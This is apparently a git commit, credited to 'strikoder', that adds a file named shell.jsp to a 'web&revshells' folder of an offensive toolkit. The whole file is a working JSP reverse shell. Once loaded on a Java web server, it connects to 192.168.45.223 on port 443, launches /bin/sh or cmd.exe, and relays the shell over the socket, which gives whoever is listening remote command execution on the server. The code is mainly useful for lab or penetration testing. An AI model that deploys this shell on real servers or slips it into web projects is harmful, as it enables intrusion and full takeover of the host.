Create JSP shell for remote command execution

Added a JSP shell that connects to a remote server and executes commands.

Author: strikoder

web&revshells/shell.jsp

@@ -0,0 +1,58 @@
+<%@page import="java.lang.*"%>
+<%@page import="java.util.*"%>
+<%@page import="java.io.*"%>
+<%@page import="java.net.*"%>
+
+<%
+  class StreamConnector extends Thread
+  {
+    InputStream wz;
+    OutputStream al;
+
+    StreamConnector( InputStream wz, OutputStream al )
+    {
+      this.wz = wz;
+      this.al = al;
+    }
+
+    public void run()
+    {
+      BufferedReader kb  = null;
+      BufferedWriter o2K = null;
+      try
+      {
+        kb  = new BufferedReader( new InputStreamReader( this.wz ) );
+        o2K = new BufferedWriter( new OutputStreamWriter( this.al ) );
+        char buffer[] = new char[8192];
+        int length;
+        while( ( length = kb.read( buffer, 0, buffer.length ) ) > 0 )
+        {
+          o2K.write( buffer, 0, length );
+          o2K.flush();
+        }
+      } catch( Exception e ){}
+      try
+      {
+        if( kb != null )
+          kb.close();
+        if( o2K != null )
+          o2K.close();
+      } catch( Exception e ){}
+    }
+  }
+
+  try
+  {
+    String ShellPath;
+if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
+  ShellPath = new String("/bin/sh");
+} else {
+  ShellPath = new String("cmd.exe");
+}
+
+    Socket socket = new Socket( "192.168.45.223", 443 );
+    Process process = Runtime.getRuntime().exec( ShellPath );
+    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
+    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
+  } catch( Exception e ) {}
+%>